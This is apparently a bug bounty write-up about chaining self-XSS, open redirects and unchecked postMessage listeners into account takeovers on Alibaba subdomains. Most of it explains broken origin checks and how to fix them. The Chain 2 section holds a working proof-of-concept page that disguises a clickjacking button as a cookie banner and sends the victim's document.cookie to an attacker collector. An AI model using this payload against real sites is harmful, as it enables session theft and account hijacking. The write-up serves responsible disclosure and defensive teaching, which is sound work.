Bug Bounty postMessage 7 Critical ATOs

Seven Critical Account Takeovers on Alibaba via postMessage Chains

Program
Alibaba VDP
Impact
Seven critical one-click account takeovers
Scope hit
*.alibaba.com: recruitment, hiring, campus, and others
Root class
Missing or weak event.origin validation on postMessage listeners
Timeline
Seven criticals filed in six days
Status
Partially patched, some chains still under embargo

Summary

Every bug in this chain is boring on its own. A self-XSS on a chatbot. An open redirect. A permissive window.addEventListener("message", ...) handler with no origin check. File any one of them individually and the report gets closed as informational.

Chained together against a real target, they turned into seven critical account takeovers on the Alibaba VDP in about six days. The victim visits a page. That page sends a postMessage. The handler on the Alibaba side treats it as if it came from Alibaba itself. Session cookies scoped to .alibaba.com mean the takeover applies to every subdomain the victim is logged into, not just the vulnerable one.

This writeup covers the mental model I was operating under, the origin-check patterns that fail in the wild, and two of the concrete chains that landed. The AI-chatbot chain is described at the class level because parts of it are still being patched. The location-sink chain is walked end to end with a proof of concept.

Full video walkthrough: How I (legally) hacked Alibaba: self-XSS chain into 7 critical ATO bugs on the 0dayscyber channel.

Gadgets, not bugs

Most of what you find on a mature target does not look like a bug in isolation. Self-XSS, HTML injection, open redirect, permissive CORS, a chatty postMessage sink; these are gadgets. A gadget carries no severity by itself. It exists to link two other things together. Once you start treating your triage rejects as inventory instead of failures, the pipeline changes: every low-severity finding becomes a candidate for the next chain.

All seven of the Alibaba criticals started life as a pair of gadgets that would each have been closed as informational.

postMessage in one page

The postMessage API exists to move data between two windows that live on different origins, without tripping the same-origin policy. Three roles matter.

Origin means protocol plus host. https://example.com and http://example.com are different origins. example.com and sub.example.com are different origins. example.com:80 and example.com:2020 are different origins. If your handler cares about identity, it needs to compare on all three, and it needs to compare on equality.

Here is the shape of the safe pattern, for reference:

window.addEventListener("message", (event) => {
  if (event.origin !== "https://trusted.example") return;
  // safe to use event.data
});

Origin checks that look right and are not

Every chain in this engagement went through a broken origin check or no check at all. Four patterns keep showing up.

1. startsWith

if (event.origin.startsWith("https://target.com")) {
  processMessage(event.data);
}

Register target.com.attacker.example and the check passes. Attacker origin: https://target.com.attacker.example, prefix https://target.com, match.

2. Regex with an unescaped dot

if (event.origin.match(/^https:\/\/target.com$/)) {
  processMessage(event.data);
}

The . in target.com is not a literal in regex; it matches any character. Register targetxcom or target-com and the origin passes.

3. includes

if (event.origin.includes("https://target.com")) {
  processMessage(event.data);
}

Anything with the literal substring anywhere in the origin passes. This is how one of the Alibaba criticals landed: register a domain that contains the target string and the handler accepts messages from it.

4. indexOf

if (event.origin.indexOf("https://target.com") !== -1) {
  processMessage(event.data);
}

Same failure mode as includes in different syntax. Any origin that contains the substring anywhere returns a non-negative index.

Fixing all four is the same one-line change: strict equality against a fully qualified origin, or membership in an allowlist array of fully qualified origins.

Chain 1: self-XSS in an AI chatbot to one-click ATO

The starting gadget was a stored, self-scoped XSS in the response rendering of an Alibaba AI chatbot. If I sent the chatbot a message containing an HTML payload, the reply pane rendered it unsafely and the payload executed in my own session. No victim, no severity.

Two escalation paths came off it. The first was CSRF: could I force the victim's browser to send a message to the chatbot as them? That path died on a legitimate anti-CSRF token; the send endpoint required a header value that lived outside the cookie jar and could not be auto-attached by the browser.

The second path was postMessage. A handler somewhere in the chatbot flow took an incoming message, read a text field off event.data, and used it to trigger the same "send chat message" action that CSRF would have. There was no event.origin check. The listener accepted messages from any origin, including one hosted at http://localhost:8888.

Concretely, the chain looked like this:

  1. Victim visits an attacker-controlled page. Nothing phishy in the URL; it can be a blog post about cats.
  2. The page opens the target subdomain in a hidden iframe. The victim is already authenticated because their session cookie is scoped to .alibaba.com.
  3. Attacker page posts a message into the iframe: "send this text to the chatbot". The chatbot handler has no origin check, so it obeys.
  4. The chat submission API accepts the request because the header-scoped anti-CSRF token is generated and attached by the same page that just submitted the message. The message is sent by the victim's session and stored against their conversation history.
  5. The chatbot renders its response, which contains the attacker's HTML payload. The self-XSS fires, but this time the context is the victim, not the attacker. Self-XSS has become stored XSS with meaningful victim context.
  6. The payload runs against a cookie scope of .alibaba.com, so it can exfiltrate or manipulate any Alibaba subdomain the victim has ever logged into. Recruitment, hiring, campus, the main marketplace; one origin steals the whole set.

The impact multiplier here is the cookie scope. If cookies were scoped to sub.alibaba.com only, this would be a single-property takeover. Scoped to the apex, it is a platform takeover.

The proof-of-concept URL and payloads are held back at Alibaba's request until the full class is patched.

Chain 2: location-sink postMessage to one-click ATO via about:blank

This chain has a live proof of concept in the video walkthrough and covers a class of bug that shows up on many targets, not just Alibaba.

The starting gadget is a listener that assigns attacker-controlled data straight to window.location, with no origin check.

// vulnerable listener on the target subdomain
window.addEventListener("message", (event) => {
  window.location = event.data;
});

This handler is an open redirect primitive. The value on the other end does not have to be an https: URL. A javascript: URI is a legal value for window.location, and setting it executes the JavaScript in the current document's origin. Modern browsers strip javascript: navigations from top-level frames in some paths, so what actually gets executed depends on how the assignment resolves. On Chrome, the effective result is a navigation to about:blank, and the payload runs in the context of that blank document.

The key browser fact for this chain: an about:blank document reached by same-origin navigation inherits the origin of the page that navigated to it. That means the payload is not sandboxed in a fresh origin. It runs with the same origin as the vulnerable Alibaba subdomain, which means document.cookie returns the victim's session cookies for that origin, and because the cookies are scoped to .alibaba.com, this generalises across the platform.

The chain end to end:

  1. Attacker hosts a page and covers it in a full-viewport clickable element. Any cookie-consent button, any legitimate call to action, any first click.
  2. On click, the page opens the target Alibaba subdomain and posts a message: event.data is set to a javascript: URI that fetches the session data and exfiltrates it to an attacker collector.
  3. The target's message handler assigns that URI to window.location.
  4. The browser navigates to about:blank and executes the payload with the origin inherited from the referrer, which is the target subdomain.
  5. The payload reads document.cookie, sends the cookies out of band, and the attacker replays them to hijack the session.
Attacker page, minimal shape
<!doctype html>
<html>
<body>
<button id="accept" style="position:fixed;inset:0;width:100vw;height:100vh">Accept cookies</button>
<script>
const XFIL = new URL(location).searchParams.get("xfil");
const payload = `javascript:fetch("${XFIL}?c="+encodeURIComponent(document.cookie)+"&h="+encodeURIComponent(location.host))`;

document.getElementById("accept").addEventListener("click", () => {
  const w = window.open("https://target-subdomain.alibaba.com/vulnerable-page");
  setTimeout(() => w.postMessage(payload, "*"), 2500);
});
</script>
</body>
</html>

The click is required only because the browser will not open a popup without user activation. If the vulnerable page is already reachable through an iframe from the attacker origin, the click can be dropped entirely and the chain becomes zero-click on visit. Whether that path exists depends on the target's frame ancestors policy.

Browser behaviour matters here. Brave blocks parts of this chain by default. Chrome and Chromium forks that follow upstream behaviour execute it. The variation on Brave is why I labelled this chain "one or two clicks depending on browser" during the disclosure.

Why the impact scales

Two properties turned each of these local bugs into critical ATOs:

Fix either and the criticals collapse. Fix both and the entire class disappears.

Methodology

Two things carried the workflow:

Remediation

The fix on the target side is short. For every listener, compare on strict equality against an explicit list of expected origins, and reject anything else.

const ALLOWED = new Set([
  "https://a.alibaba.com",
  "https://b.alibaba.com",
]);

window.addEventListener("message", (event) => {
  if (!ALLOWED.has(event.origin)) return;
  // safe to use event.data
});

On top of that:

Timeline

DateEvent
2026-06 (undisclosed date)First critical filed under Alibaba VDP
Within six daysTotal of seven criticals filed across the same class
OngoingPartial patches shipped. AI chatbot chain still under embargo at the time of this writeup.

References